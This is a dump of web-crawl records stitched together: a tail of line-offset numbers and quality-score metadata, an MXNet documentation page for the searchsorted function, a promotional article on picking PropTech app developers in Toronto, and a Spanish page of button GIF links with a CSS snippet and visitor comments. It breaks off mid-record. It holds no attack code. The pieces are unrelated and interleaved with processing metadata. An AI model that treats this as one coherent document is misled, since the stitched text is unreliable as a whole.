7156,
7157,
7191,
7192,
7199,
7200,
7274,
7290,
7328,
7348,
7360,
7374,
7413,
7414,
7423,
7424,
7463,
7501,
7510,
7511,
7548,
7580,
7605,
7616,
7617,
7649,
7657,
7658,
7665,
7666,
7673,
7674,
7761,
7762,
7770,
7771,
7785,
7786,
7799,
7800,
7809,
7810,
7840,
7841,
7848,
7849,
7920,
7936,
7961,
7977,
8008,
8040,
8041,
8050,
8051,
8088,
8105,
8106,
8144,
8165,
8166,
8173,
8174,
8183,
8184,
8307,
8308,
8444,
8445,
8453,
8454,
8467,
8468,
8527,
8528,
8537,
8538,
8559,
8560,
8567,
8568,
8641,
8657,
8688,
8712,
8731,
8752,
8802,
8803,
8812,
8813,
8840,
8878,
8914,
8915,
8922,
8923,
8930,
8931,
9074,
9075,
9083,
9084,
9097,
9098,
9160,
9161,
9170,
9171,
9179,
9180,
9187,
9188,
9257,
9273,
9304,
9313,
9325,
9340,
9382,
9383,
9392,
9393,
9420,
9457,
9474,
9475,
9482,
9483,
9490,
9491,
9628,
9629,
9637,
9638,
9651,
9652,
9711,
9712,
9721,
9722,
9752,
9753,
9760,
9761,
9832,
9848,
9879,
9888,
9900,
9915,
9957,
9958,
9967,
9968,
9995,
10028,
10050,
10051,
10058,
10059,
10066,
10067,
10152,
10153,
10161,
10162,
10175,
10176,
10185,
10186,
10216,
10217,
10224,
10225,
10296,
10312,
10337,
10353,
10373,
10388,
10414,
10415,
10424,
10425,
10459,
10481,
10515,
10545,
10546,
10553,
10554,
10560,
10561,
10688,
10689,
10697,
10698,
10711,
10712,
10721,
10722,
10795,
10796,
10803,
10804,
10874,
10890,
10915,
10924,
10936,
10963,
10985,
11011,
11012,
11021,
11022,
11044,
11052,
11090,
11096,
11097,
11104,
11105,
11115,
11116,
11277,
11278,
11286,
11287,
11346,
11347,
11356,
11357,
11364,
11365,
11372,
11373,
11447,
11463,
11498,
11524,
11540,
11555,
11570,
11615,
11629,
11679,
11680,
11689,
11690,
11731,
11769,
11788,
11789,
11796,
11797,
11822,
11823,
12126,
12127,
12135,
12136,
12151,
12152,
12165,
12166,
12179,
12180,
12189,
12190,
12198,
12199,
12206,
12207,
12220,
12235,
12277,
12332,
12361,
12388,
12400,
12423,
12448,
12478,
12479,
12488,
12489,
12580,
12608,
12616,
12629,
12630,
12719,
12762,
12770,
12807,
12808,
12891,
12929,
12947,
12974,
12975,
12986,
12987,
13166,
13167,
13168,
13175,
13176,
13201,
13202,
13624,
13625,
13633,
13634,
13649,
13650,
13663,
13664,
13673,
13674,
13682,
13683,
13690,
13691,
13704,
13719,
13757,
13782,
13783,
13792,
13793,
13885,
13926,
13963,
13964,
13989,
14073,
14123,
14160,
14161,
14168,
14169,
14175,
14176,
14300,
14301,
14309,
14310,
14323,
14324,
14333,
14334,
14364,
14365,
14372,
14373,
14386,
14417,
14449,
14450,
14459,
14460,
14491,
14503,
14504,
14542,
14564,
14565,
14572,
14573,
14586,
14587,
14696,
14697,
14705,
14706,
14719,
14720,
14729,
14730,
14738,
14739,
14746,
14747,
14760,
14776,
14804,
14813,
14828,
14857,
14858,
14867,
14868,
14911,
14927,
14928,
14955,
14989,
15004,
15005,
15016,
15017,
15061,
15062,
15063,
15070,
15071,
15083,
15084,
15117,
15118,
15126,
15127,
15146,
15147,
15154,
15155,
15168,
15184,
15214,
15254,
15270,
15285,
15306,
15307,
15316,
15317,
15341,
15368,
15369,
15412,
15427,
15428,
15435,
15436,
15449,
15450,
15539,
15540,
15548,
15549,
15562,
15563,
15576,
15577,
15586,
15587,
15595,
15596,
15603,
15604,
15617,
15633,
15642,
15654,
15670,
15691,
15718,
15727,
15728,
15737,
15738,
15763,
15776,
15777,
15814,
15840,
15841,
15880,
15912,
15938,
15939,
15971,
15998,
15999,
16006,
16007,
16012,
16013,
16115,
16116,
16124,
16125,
16142,
16143,
16152,
16153,
16161,
16162,
16169,
16170,
16183,
16195,
16204,
16216,
16231,
16244,
16273,
16282,
16283,
16292,
16293,
16386,
16429,
16430,
16500,
16527
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 16527,
"ccnet_original_nlines": 996,
"rps_doc_curly_bracket": 0.00012101000174880028,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2900781035423279,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005052819848060608,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.47565457224845886,
"rps_doc_frac_unique_words": 0.16383947432041168,
"rps_doc_mean_word_length": 3.194042205810547,
"rps_doc_num_sentences": 269,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.694382667541504,
"rps_doc_word_count": 2417,
"rps_doc_frac_chars_dupe_10grams": 0.2402849644422531,
"rps_doc_frac_chars_dupe_5grams": 0.4783678948879242,
"rps_doc_frac_chars_dupe_6grams": 0.4251295328140259,
"rps_doc_frac_chars_dupe_7grams": 0.3673575222492218,
"rps_doc_frac_chars_dupe_8grams": 0.3268134593963623,
"rps_doc_frac_chars_dupe_9grams": 0.290025919675827,
"rps_doc_frac_chars_top_2gram": 0.042098451405763626,
"rps_doc_frac_chars_top_3gram": 0.010492229834198952,
"rps_doc_frac_chars_top_4gram": 0.009326419793069363,
"rps_doc_books_importance": -2157.133544921875,
"rps_doc_books_importance_length_correction": -2157.133544921875,
"rps_doc_openwebtext_importance": -1217.0509033203125,
"rps_doc_openwebtext_importance_length_correction": -1217.0509033203125,
"rps_doc_wikipedia_importance": -1084.6268310546875,
"rps_doc_wikipedia_importance_length_correction": -1084.6268310546875
},
"fasttext": {
"dclm": 0.03966135159134865,
"english": 0.6134804487228394,
"fineweb_edu_approx": 2.1706275939941406,
"eai_general_math": 0.5855571627616882,
"eai_open_web_math": 0.6285024285316467,
"eai_web_code": 0.8482384085655212
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
3,138,475,878,962,511,000 |
mxnet.np.searchsorted
searchsorted(a, v, side='left', sorter=None)
Find indices where elements should be inserted to maintain order.
Find the indices into a sorted array a such that, if the corresponding elements in v were inserted before the indices, the order of a would be preserved.
Assuming that a is sorted:
side
returned index i satisfies
left
a[i-1] < v <= a[i]
right
a[i-1] <= v < a[i]
Parameters
• a (1-D array_like) – Input array. If sorter is None, then it must be sorted in ascending order, otherwise sorter must be an array of indices that sort it.
• v (array_like) – Values to insert into a.
• side ({'left', 'right'}, optional) – If ‘left’, the index of the first suitable location found is given. If ‘right’, return the last such index. If there is no suitable index, return either 0 or N (where N is the length of a).
• sorter (1-D array_like, optional) –
Optional array of integer indices that sort array a into ascending order. They are typically the result of argsort.
New in version 1.7.0.
Returns
indices – Array of insertion points with the same shape as v.
Return type
array of ints
See also
sort()
Return a sorted copy of an array.
histogram()
Produce histogram from 1-D data.
Notes
Binary search is used to find the required insertion points.
As of NumPy 1.4.0 searchsorted works with real/complex arrays containing nan values. The enhanced sort order is documented in sort.
This function uses the same algorithm as the builtin python bisect.bisect_left (side='left') and bisect.bisect_right (side='right') functions, which is also vectorized in the v argument.
Examples
>>> np.searchsorted([1,2,3,4,5], 3)
2
>>> np.searchsorted([1,2,3,4,5], 3, side='right')
3
>>> np.searchsorted([1,2,3,4,5], [-10, 10, 2, 3])
array([0, 5, 1, 2])
|
{
"url": "https://mxnet.apache.org/versions/master/api/python/docs/api/np/generated/mxnet.np.searchsorted.html",
"source_domain": "mxnet.apache.org",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "143058",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:B66X5D7PRPLFAQ3H6YXPGMONCBAYU4K7",
"WARC-Concurrent-To": "<urn:uuid:6c09ec52-1974-40b0-9ab3-ae0b8e30c284>",
"WARC-Date": "2024-05-19T08:43:06Z",
"WARC-IP-Address": "151.101.2.132",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:EMEBZIGFWORXBDDTN6ONUNR37TAQ656G",
"WARC-Record-ID": "<urn:uuid:d9c9dc35-29c8-4be8-a996-5eca88c1fc25>",
"WARC-Target-URI": "https://mxnet.apache.org/versions/master/api/python/docs/api/np/generated/mxnet.np.searchsorted.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:797287c0-f6d0-4bda-852b-fb39d0fadcd6>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-22\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
22,
23,
68,
69,
135,
136,
290,
291,
318,
319,
324,
325,
352,
353,
358,
359,
378,
379,
385,
386,
405,
406,
417,
576,
577,
623,
624,
855,
856,
896,
897,
1017,
1018,
1044,
1045,
1053,
1054,
1116,
1117,
1129,
1130,
1144,
1145,
1154,
1155,
1162,
1163,
1197,
1198,
1210,
1211,
1244,
1245,
1251,
1252,
1313,
1314,
1446,
1447,
1634,
1635,
1644,
1645,
1681,
1683,
1733,
1735,
1785
],
"line_end_idx": [
22,
23,
68,
69,
135,
136,
290,
291,
318,
319,
324,
325,
352,
353,
358,
359,
378,
379,
385,
386,
405,
406,
417,
576,
577,
623,
624,
855,
856,
896,
897,
1017,
1018,
1044,
1045,
1053,
1054,
1116,
1117,
1129,
1130,
1144,
1145,
1154,
1155,
1162,
1163,
1197,
1198,
1210,
1211,
1244,
1245,
1251,
1252,
1313,
1314,
1446,
1447,
1634,
1635,
1644,
1645,
1681,
1683,
1733,
1735,
1785,
1804
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1804,
"ccnet_original_nlines": 68,
"rps_doc_curly_bracket": 0.0011086500016972423,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2753950357437134,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011286679655313492,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3814898431301117,
"rps_doc_frac_unique_words": 0.4910394251346588,
"rps_doc_mean_word_length": 4.709677219390869,
"rps_doc_num_sentences": 30,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.599912166595459,
"rps_doc_word_count": 279,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.021308980882167816,
"rps_doc_frac_chars_top_3gram": 0.00913241971284151,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -163.01126098632812,
"rps_doc_books_importance_length_correction": -158.80291748046875,
"rps_doc_openwebtext_importance": -98.8412094116211,
"rps_doc_openwebtext_importance_length_correction": -98.8412094116211,
"rps_doc_wikipedia_importance": -58.83218765258789,
"rps_doc_wikipedia_importance_length_correction": -58.655433654785156
},
"fasttext": {
"dclm": 0.169622540473938,
"english": 0.7710100412368774,
"fineweb_edu_approx": 2.1707656383514404,
"eai_general_math": 0.9759485125541687,
"eai_open_web_math": 0.2092723250389099,
"eai_web_code": 0.9940040707588196
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "511.3",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Arithmetic"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,678,245,236,350,657,000 |
How to Pick a PropTech App Developer for Toronto
It’s no secret that the local real estate market is very hot. Not only is Toronto the most populous city in Canada, but it’s also the fastest-growing city in the country. It welcomes more newcomers than any other place in the nation.
And everyone in the Greater Toronto Area needs a place to live — people looking to buy homes as well as people looking for short-term and long-term rentals. On the flip side, you have rental property owners, investment property owners, and homeowners all interested in generating an income from their assets.
You also have other players in the vibrant local property market, such as real estate agents, real estate companies, developers, property managers, movers, decorators, furniture manufacturers, and others.
Toronto’s unique situation makes it a perfect place for all types of PropTech apps.
What is PropTech anyway?
PropTech stands for Property Technology. It’s a type of software that helps people engage with the property market. PropTech can be relatively straightforward or highly sophisticated, depending on the nature of the technology. An example of a less complex PropTech app would be a mobile app that helps you find properties that meet your specifications. A more complex example of a PropTech app is an Augmented Reality (AR) app that allows you to visualize customizations to your home on your mobile app screen.
How do I pick the right PropTech app developer for Toronto?
1. Pick a Local Developer
Always select a local software agency for Toronto mobile app development for the best results. A local developer will have the necessary skills and market knowledge. They will also have excellent relationships with other resources that could be necessary for your app’s success.
2. Check Their Skillset
Check your app developer’s expertise before hiring them. Some app developers specialize in web apps, while others can create mobile apps. Web apps can be cost-effective and faster to develop but may not suit the PropTech industry.
Work with an agency that can make native apps for mobile devices. Skills in Swift and other iOS programming languages will help them create an excellent iOS app.
You may also want a native app for Android devices; however, the iOS market is slightly bigger in Canada. Ideally, it would help if you created native apps for both platforms.
An app developer may also offer to create hybrid apps for you. Hybrid apps are essentially web apps in native apps shells. They’re cheaper to make than native apps but usually less sophisticated. A native app can take advantage of a device’s hardware and other features more easily.
A PropTech app that utilizes a camera’s phones, GPS, and other features works better as a native app.
3. Do They Have Experience with AR?
As mentioned, modern app developers can make complex apps with augmented reality (AR). Check if your app developer has skills in AR if you have a more advanced PropTech idea. For example, if you want to create an app that helps investors visualize home renovations, you’ll need a native app that leverages AR technology.
When shopping for an app development agency, always partner with an experienced local team with a strong portfolio that believes in a collaborative process.
Leave a Comment
|
{
"url": "https://thecanadian.news/how-to-pick-a-proptech-app-developer-for-toronto/",
"source_domain": "thecanadian.news",
"snapshot_id": "crawl=CC-MAIN-2022-49",
"warc_metadata": {
"Content-Length": "78588",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:E4RFKG3ZGEKWTNAZF2XKAKC3EO6EXXWB",
"WARC-Concurrent-To": "<urn:uuid:cc030909-a5c5-4772-8197-1878d27d832b>",
"WARC-Date": "2022-12-04T18:33:37Z",
"WARC-IP-Address": "172.67.145.171",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:4WFMS3CH2AFUYFARXKHDZNLIHDUSRDU7",
"WARC-Record-ID": "<urn:uuid:bf52a35e-a9e7-4d9e-af89-50f15f3c902f>",
"WARC-Target-URI": "https://thecanadian.news/how-to-pick-a-proptech-app-developer-for-toronto/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b2ee8253-84ff-4c6c-9bb8-48f61dc35b76>"
},
"warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-177\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
49,
50,
285,
286,
596,
597,
803,
804,
889,
890,
917,
918,
1430,
1431,
1492,
1493,
1519,
1520,
1800,
1801,
1826,
1827,
2059,
2060,
2223,
2224,
2400,
2401,
2685,
2686,
2789,
2790,
2826,
2827,
3149,
3150,
3308,
3309
],
"line_end_idx": [
49,
50,
285,
286,
596,
597,
803,
804,
889,
890,
917,
918,
1430,
1431,
1492,
1493,
1519,
1520,
1800,
1801,
1826,
1827,
2059,
2060,
2223,
2224,
2400,
2401,
2685,
2686,
2789,
2790,
2826,
2827,
3149,
3150,
3308,
3309,
3324
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3324,
"ccnet_original_nlines": 38,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37952756881713867,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.017322830855846405,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.12755906581878662,
"rps_doc_frac_unique_words": 0.43014705181121826,
"rps_doc_mean_word_length": 4.922794342041016,
"rps_doc_num_sentences": 38,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.987171173095703,
"rps_doc_word_count": 544,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.022404780611395836,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.020537709817290306,
"rps_doc_frac_chars_top_3gram": 0.014936519786715508,
"rps_doc_frac_chars_top_4gram": 0.017177000641822815,
"rps_doc_books_importance": -262.9927062988281,
"rps_doc_books_importance_length_correction": -262.9927062988281,
"rps_doc_openwebtext_importance": -136.99403381347656,
"rps_doc_openwebtext_importance_length_correction": -136.99403381347656,
"rps_doc_wikipedia_importance": -135.35830688476562,
"rps_doc_wikipedia_importance_length_correction": -135.35830688476562
},
"fasttext": {
"dclm": 0.06519711017608643,
"english": 0.9224866628646851,
"fineweb_edu_approx": 1.7508628368377686,
"eai_general_math": 0.000800070003606379,
"eai_open_web_math": 0.0069501399993896484,
"eai_web_code": 0.008462130092084408
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "338.9714",
"labels": {
"level_1": "Social sciences",
"level_2": "Economics",
"level_3": "Industries, Prices, and Microeconomics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
4,312,203,559,560,258,600 |
WarioTeAyuda
Botones
Botones
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
No se puede mostrar la imagen “https://img.webme.com/pic/s/success4you/centerblue2.gif” porque contiene errores.
ein Bild
ein Bild
No se puede mostrar la imagen “https://img.webme.com/pic/s/success4you/blackdrop.gif” porque contiene errores.
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
ein Bild
No se puede mostrar la imagen “https://img.webme.com/pic/s/success4you/wowblue.gif” porque contiene errores.
ein Bild
ein Bild
ein Bild
No se puede mostrar la imagen “https://img.webme.com/pic/n/naazimca/naazimcabuton8.gif” porque contiene errores.
http://www.fileden.com/files/2008/12/9/2217600/Gif.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifdos.gif
http://www.fileden.com/files/2008/12/9/2217600/Giftres.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifcuatro.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifcinco.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifseis.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifsiete.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifocho.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifdoce.gif
No se puede mostrar la imagen “https://img.webme.com/pic/n/naazimca/nazimcabuton12.gif” porque contiene errores.
http://www.fileden.com/files/2008/12/9/2217600/Gifnueve.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifdiez.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifonce.gif
http://www.fileden.com/files/2008/12/9/2217600/Giftrece.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifcatorce.gif
http://www.fileden.com/files/2008/12/9/2217600/Gifquince.gif
http://www.fileden.com/files/2008/12/9/2217600/Cuaretocuatro.gif
http://www.fileden.com/files/2008/12/9/2217600/Cuartetocinco.gif
http://www.fileden.com/files/2008/12/9/2217600/Cuartetodos.gif
http://www.fileden.com/files/2008/12/9/2217600/Cuartetoseis.gif
http://www.fileden.com/files/2008/12/9/2217600/Cuartetotres.gif
http://www.fileden.com/files/2008/12/9/2217600/Cuartetouno.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif01.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif02.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif03.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif04.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif5.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif06.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif07.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif08.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif09.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif10.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif11.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif12.gif
http://www.fileden.com/files/2008/12/9/2217600/Gif13.gif
http://www.fileden.com/files/2008/12/9/2217600/gif1.gif
http://www.fileden.com/files/2008/12/9/2217600/gif2.gif
http://www.fileden.com/files/2008/12/9/2217600/gif4.gif
http://www.fileden.com/files/2008/12/9/2217600/gif5.gif
http://www.fileden.com/files/2008/12/9/2217600/gif6.gif
http://www.fileden.com/files/2008/12/9/2217600/gif9.gif
http://www.fileden.com/files/2008/12/9/2217600/gif8.gif
Sigueintes hechos por team-drakox :
Botones by team-webmaster
Codigo para poder poner el boton
<style type="text/css">
<!--
td.nav{background-image:url(Url de boton xD);} -->
</style>
Sacarle la url al diseño es muy facil solamente hay que haces clic derecho-propiedades y donde dice direccion(url) copiar el codigo del costado.
O SI QUIERES MODICARLOS EN TU WEB EN VEZ DE PONER EL TITULO PON EL CODE :
<img src="AQUÍ COLOCA LA URL DE BOTON">
Los últimos comentarios acerca de esta página:
Comentado por Dani, 23-06-2012, 06:46 (UTC):
I actually lenraed how to make my own video backgrounds for vWallpaper 2 by pasting them in the respository after I opened the SSH on my itouch. Since upgrading to 5, I can no longer use vWallpaper2. Is there going to be an upgrade anytime soon for the release of the new ios? It would be really awesome because I love that app!! Thanks!!
Comentado por:01-06-2010, 23:41 (UTC)
teenmariobroslapelicula
teenmariobroslapelicula
Offline
el diseño esta bien chevere cool
Comentado por FPokemon, 20-05-2010, 15:06 (UTC):
muy buena web pasate por la mia htttp://fanaticopokemon.es.tl
Comentado por:08-04-2010, 18:05 (UTC)
mascotasrancagua
mascotasrancagua
Offline
MUCHAS GRACIAS....POR TU APORTE
Comentado por:21-02-2010, 17:28 (UTC)
elclubdelchocolate
elclubdelchocolate
Offline
Esta muy buena la página !!
Comentado por:04-11-2009, 21:21 (UTC)
mirealzaragoza
mirealzaragoza
Offline
Eres el MEJOR!!! Tioo ponte en contacto conmigo (L)
Soi tio 13 años
Www.Mirealzaragoza.es.tL
Un saludo
Comentado por:15-08-2009, 00:46 (UTC)
laluzdelhorizonte
laluzdelhorizonte
Offline
me gustaría usarlos todos en un solo menú xDDDD pero sería muy jodido jajjajaja som buenisisisisisisisisisisimos gracias gordo
Comentado por:01-07-2009, 01:47 (UTC)
juegos-completos
juegos-completos
Offline
Me Sirvieron ;D
Comentado por:30-06-2009, 19:23 (UTC)
descajuegos
descajuegos
Offline
mira para poner el codigo vas a editar diseño, opciones avanzadas vas asta vajo y algo que diga copiright ahi lo pegas si :
Comentado por:06-06-2009, 15:44 (UTC)
nixhabbo
nixhabbo
Offline
Gracias wario, me sirvieron, Adios!
Añadir comentario acerca de esta página:
Tu nombre:
Tu mensaje:
Actualmente conseguimos: 73359 visitantes (255968 clics a subpáginas)
|
{
"url": "http://warioteayuda.es.tl/Botones.htm",
"source_domain": "warioteayuda.es.tl",
"snapshot_id": "crawl=CC-MAIN-2017-43",
"warc_metadata": {
"Content-Length": "100558",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3VCVOTNMRYR457S7CW3TCPP2CDZ6FBSQ",
"WARC-Concurrent-To": "<urn:uuid:f29a595b-5aed-4583-99f5-0f25c49587cd>",
"WARC-Date": "2017-10-22T00:54:32Z",
"WARC-IP-Address": "193.238.27.26",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:6ZPNE3Q67Q26K3PGUD7N3BDJUKWNB622",
"WARC-Record-ID": "<urn:uuid:e4c40982-86f2-4502-9ea7-dc32afc4272a>",
"WARC-Target-URI": "http://warioteayuda.es.tl/Botones.htm",
"WARC-Truncated": "length",
